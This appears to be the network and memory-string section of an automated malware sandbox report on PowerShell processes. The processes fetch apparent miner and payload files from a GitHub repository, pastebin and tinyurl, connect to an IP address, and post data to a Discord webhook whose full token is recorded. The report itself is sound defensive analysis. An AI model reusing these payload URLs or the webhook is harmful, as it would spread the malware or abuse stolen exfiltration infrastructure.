Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105

Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/zNCj2Utm HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/6db99fAK HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: tinyurl.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive

Source: powershell.exe, 00000006.00000002.2377518393.000001E347FC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B443E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A61E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A8017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com
Source: powershell.exe, 00000006.00000002.2638294290.000001E356521000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2638294290.000001E3563DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2687080170.0000014B528BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2687080170.0000014B52A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2681866347.0000026E38C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2681866347.0000026E38B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2564157225.00000235B6632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.2377518393.000001E347998000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43E78000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A0D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 0000000D.00000002.2357759046.00000235A66A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.2377518393.000001E347A0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43EF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E080226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CDB96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3446878228.0000022AE01A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB5B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E356D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 00000014.00000002.3446878228.0000022AE01A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB5B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E356D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt
Source: powershell.exe, 0000000F.00000002.2756687116.000001E080226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3418219553.0000029200226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2763880852.00000289CD880000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CDB96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
Source: powershell.exe, 00000006.00000002.2377518393.000001E346371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28AC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A6481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E080001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3418219553.000002920002F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CD984000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3446878228.0000022ADFF81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB3A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E354B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.2377518393.000001E3471B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347A0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E346595000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347977000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43E57000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43788000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43EF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42A75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E29C13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28CD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A0B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A66A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A72CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com
Source: powershell.exe, 0000000D.00000002.2357759046.00000235A72CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yeykydun
Source: powershell.exe, 00000008.00000002.2392338630.0000026E28CD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yeykydunU
Source: powershell.exe, 00000007.00000002.2391652138.0000014B42A75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yeykyduns
Source: powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A684E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yk3s8ubp
Source: powershell.exe, 0000000D.00000002.2357759046.00000235A66A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000006.00000002.2377518393.000001E34800A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B444EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A748000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A811C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://0.discor
Source: powershell.exe, 00000006.00000002.2377518393.000001E34800A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B444EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A748000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A811C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://0.discord.com/
Source: powershell.exe, 00000006.00000002.2377518393.000001E346371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28AC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A6481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E080001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3418219553.000002920001F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CD984000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3446878228.0000022ADFF81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB3A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E354B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.2377518393.000001E347FC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E3467B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42C99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B443E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A61E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28EF9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A68CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A8017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: powershell.exe, 00000006.00000002.2377518393.000001E34800A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B444EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A748000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A811C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/
Source: powershell.exe, 00000006.00000002.2377518393.000001E347FC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B443E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A61E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A8017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/127665611921293
Source: powershell.exe, 00000006.00000002.2377518393.000001E347AB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43F94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A1F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w
Source: powershell.exe, 0000000D.00000002.2357759046.00000235A68CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A8017000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7BAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPN
Source: powershell.exe, 0000000D.00000002.2357759046.00000235A66A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.2377518393.000001E3471B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43788000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E29C13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A72CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
